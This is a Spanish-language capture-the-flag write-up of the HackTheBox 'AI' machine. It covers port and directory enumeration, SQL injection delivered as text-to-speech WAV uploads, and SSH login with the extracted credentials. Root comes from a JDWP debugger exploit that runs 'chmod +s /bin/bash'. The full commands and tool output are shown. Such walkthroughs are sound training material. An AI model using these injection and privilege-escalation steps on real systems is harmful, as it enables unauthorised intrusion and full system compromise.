AI HTB - WriteUp
En la mañana de hoy estaremos resolviendo la máquina AI de HackTheBox.
Enumeración Inicial.
Lo primero será descubrir los servicios expuestos que tiene el host. Para esta tarea usaremos la herramienta nmap.
# Nmap 7.91 scan initiated Sun Feb 26 20:00:18 2023 as: nmap -sC -sV -Pn -oN Extraction -p22,80 10.10.10.163
Nmap scan report for 10.10.10.163
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)
| 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)
|_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello AI!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 26 20:00:29 2023 -- 1 IP address (1 host up) scanned in 10.58 seconds
Tiene dos puertos abiertos el ssh y el puerto 80 que corresponde al http. Si visitamos la página podemos ver que podemos usar una especie de IA. Suspuestamente funciona por voz y nos permite subirle archivos con extension WAV. Utilicé feroxbuster para encontrar directorios y archivos.
❯ feroxbuster -t 50 -W 30 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.10.10.163/ -x php,pdf,txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.163/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💢 Word Count Filter │ 30
💲 Extensions │ [php, pdf, txt]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 9l 28w 313c http://10.10.10.163/images => http://10.10.10.163/images/
200 GET 189l 332w 0c http://10.10.10.163/
403 GET 9l 28w 277c http://10.10.10.163/.php
200 GET 189l 332w 0c http://10.10.10.163/index.php
200 GET 190l 339w 0c http://10.10.10.163/contact.php
301 GET 9l 28w 314c http://10.10.10.163/uploads => http://10.10.10.163/uploads/
200 GET 190l 359w 0c http://10.10.10.163/about.php
200 GET 0l 0w 0c http://10.10.10.163/db.php
200 GET 272l 486w 0c http://10.10.10.163/intelligence.php
200 GET 194l 355w 0c http://10.10.10.163/ai.php
403 GET 9l 28w 277c http://10.10.10.163/server-status
Mencionaré los endpoints interesantes…
- intelligence.php contiene una tabla con inputs que la IA puede procesar.
- Contact.php contiene un mail -> MrR3boot@ai.htb puede que sea un usuario del sistema
- ai.php nos permite subir los .WAV
intelligence.php tiene muchas opciones que hacen referencia a consultas SQL intentaré generar un WAV con una comilla y ver si es vulnerable a SQLI, tambien se hace referencia a python y a lo mejor podemos llamar a la libreria os y ejecutar comandos.
Encontre una página para crear .mp3 a partir de texto https://ttsmp3.com/ y posteriormente los transformava a wav con ffmpeg.
ffmpeg -i ttsMP3.com_VoiceText_2023-2-27_8_5_2.mp3 testing.wav
El primer payload que intente fué:
one open single quote
La respuesta fue la siguiente:
Explotación Web
Sabiendo que era vulnerable a SQLI fui probando los siguientes payloads.
open single quote space UNION SELECT one comment database
Se me estaba complicando porque no me estaba pillando bien los payloads. Asi que empecé a probar cosas basicas. Además cambié de web para generar los .mp3 https://voicemaker.in/
Esta web tampoco me dio resultado… Me instalé una herramienta llamada flite que me permitía generar los wav de forma automática.
Esta vez si me funcionó, mas o menos. Puede extraer un usuario de la tabla users.
flite -w /tmp/test.wav -voice rms -t "open single quote UNION SELECT space username from users Comment Database"
Ahora conseguí extraer la contraseña.
flite -w /tmp/test.wav -voice rms -t "open single quote UNION SELECT space password from users Comment Database"
Deje de enumerar la base de datos y me fuí a probar si las credenciales eran validas para el ssh.
❯ ssh alexa@10.10.10.163
The authenticity of host '10.10.10.163 (10.10.10.163)' can't be established.
ECDSA key fingerprint is SHA256:ghI7byxujOo6BLzCOPFbXgVPMmJVCoRsMuPs3zBgRQM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? eys
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.10.163' (ECDSA) to the list of known hosts.
alexa@10.10.10.163's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 5.3.7-050307-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Feb 27 07:39:02 UTC 2023
System load: 0.08 Processes: 146
Usage of /: 76.2% of 4.79GB Users logged in: 0
Memory usage: 41% IP address for eth0: 10.10.10.163
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
63 packages can be updated.
15 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Thu Oct 24 15:04:38 2019 from 192.168.0.104
alexa@AI:~$
Enumeración del sistema
Lo primero que miré fue si tenia algun privilegio sudo…
alexa@AI:~$ sudo -l
Matching Defaults entries for alexa on AI:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alexa may run the following commands on AI:
(ALL, !root) /usr/bin/vi
Podia ejecutar vi con cualquier usuario menos como root… Además miré los puertos abiertos de forma local y había varios. Pero ninguno me daba respuesta con curl, de todas formas intenté saber lo que eran.
alexa@AI:~$ netstat -putan
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 36 10.10.10.163:22 10.10.16.6:56102 ESTABLISHED -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN -
tcp6 0 0 127.0.0.1:8009 :::* LISTEN -
udp 0 0 0.0.0.0:57982 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp6 0 0 :::58013 :::* -
udp6 0 0 :::5353 :::* -
Mirando los procesos en ejecución vi que se estaba ejecutando un apache tomcat de version 9.0.27
root 525 0.0 0.0 0 0 ? I< Feb26 0:00 [ib-comp-wq]
root 526 0.0 0.0 0 0 ? I< Feb26 0:00 [ib-comp-unb-wq]
root 528 0.0 0.0 0 0 ? I< Feb26 0:00 [ib_mcast]
root 529 0.0 0.0 0 0 ? I< Feb26 0:00 [ib_nl_sa_wq]
root 531 0.0 0.2 46076 4752 ? Ss Feb26 0:01 /lib/systemd/systemd-udevd
root 532 0.0 0.0 0 0 ? I< Feb26 0:00 [rdma_cm]
root 559 0.0 0.0 0 0 ? S< Feb26 0:00 [loop0]
root 560 0.0 0.0 0 0 ? S< Feb26 0:00 [loop1]
root 642 0.0 0.5 88220 10168 ? Ss Feb26 0:00 /usr/bin/VGAuthService
root 644 0.0 0.5 126852 11636 ? Ss Feb26 0:42 /usr/bin/vmtoolsd
root 985 0.0 0.2 70600 5940 ? Ss Feb26 0:00 /lib/systemd/systemd-logind
root 996 0.0 0.1 30024 3152 ? Ss Feb26 0:00 /usr/sbin/cron -f
avahi 999 0.0 0.0 47072 340 ? S Feb26 0:00 avahi-daemon: chroot helper
root 1010 0.0 0.0 309300 1876 ? Ssl Feb26 0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root 1011 0.0 0.4 434320 9256 ? Ssl Feb26 0:00 /usr/sbin/ModemManager --filter-policy=strict
root 1012 0.0 0.2 45224 5428 ? Ss Feb26 0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant
root 1016 0.0 0.1 110540 2080 ? Ssl Feb26 0:02 /usr/sbin/irqbalance --foreground
root 1023 0.0 0.4 300148 8800 ? Ssl Feb26 0:01 /usr/lib/accountsservice/accounts-daemon
root 1024 0.0 1.2 856708 25572 ? Ssl Feb26 0:03 /usr/lib/snapd/snapd
root 1072 0.0 0.4 302660 8532 ? Ssl Feb26 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 1085 0.0 0.0 14884 1996 tty1 Ss+ Feb26 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1101 0.0 0.3 72292 6384 ? Ss Feb26 0:00 /usr/sbin/sshd -D
root 1150 0.0 0.9 333780 18592 ? Ss Feb26 0:02 /usr/sbin/apache2 -k start
root 19821 0.0 0.0 0 0 ? I 06:09 0:01 [kworker/1:1-eve]
root 20261 0.0 0.0 0 0 ? I 06:25 0:03 [kworker/0:2-eve]
root 29753 0.0 0.0 0 0 ? I 06:25 0:02 [kworker/1:4-eve]
root 43251 0.0 0.0 0 0 ? I 07:04 0:00 [kworker/u256:0-]
root 43811 0.0 0.0 0 0 ? I 07:24 0:00 [kworker/u256:2-]
root 44178 0.0 0.3 107980 7288 ? Ss 07:38 0:00 sshd: alexa [priv]
root 44269 0.0 0.0 0 0 ? I 07:39 0:00 [kworker/0:0-eve]
root 44652 29.6 4.9 3108796 98356 ? Sl 07:46 0:02 /usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 -Djava.io.tmpdir=/opt/apache-tomcat-9.0.27/temp org.apache.catalina.startup.Bootstrap start
La ubicación de los archivos del tomcat era /opt/ hice una pequeña busqueda y me encontré con el siguiente exploit. https://github.com/PenTestical/CVE-2020-9484
Necesitaba el ysoserial, me lo descargué desde mi equipo. Este exploit no funcionó. Seguí enumerando y vi que en el puerto 8000 esta corriendo JDWP
Java Debug Protocol (JDWP): Define el protocolo de comunicación entre los procesos front-end y el back-end del debugger a través de varios canales de comunicación que incluyen socket y memoria compartida.
Vi que había un exploit https://github.com/IOActive/jdwp-shellifier probe a ejecutarlo como ponía en hacktricks. https://book.hacktricks.xyz/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol
y dió resultado, puede darle permisos SUID a la bash.
alexa@AI:/tmp$ python2 exploit.py -t localhost -p 8000 --break-on 'java.lang.String.indexOf' --cmd "chmod +s /bin/bash"
[+] Targeting 'localhost:8000'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f800003e870
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.indexOf'
[+] Received matching event from thread 0xc31
[+] Selected payload 'chmod +s /bin/bash'
[+] Command string object created id:c32
[+] Runtime.getRuntime() returned context id:0xc33
[+] found Runtime.exec(): id=7f800003e8a8
[+] Runtime.exec() successful, retId=c34
[!] Command successfully executed
alexa@AI:/tmp$ bash -p
bash-4.4#
Espero que te haya servido!!!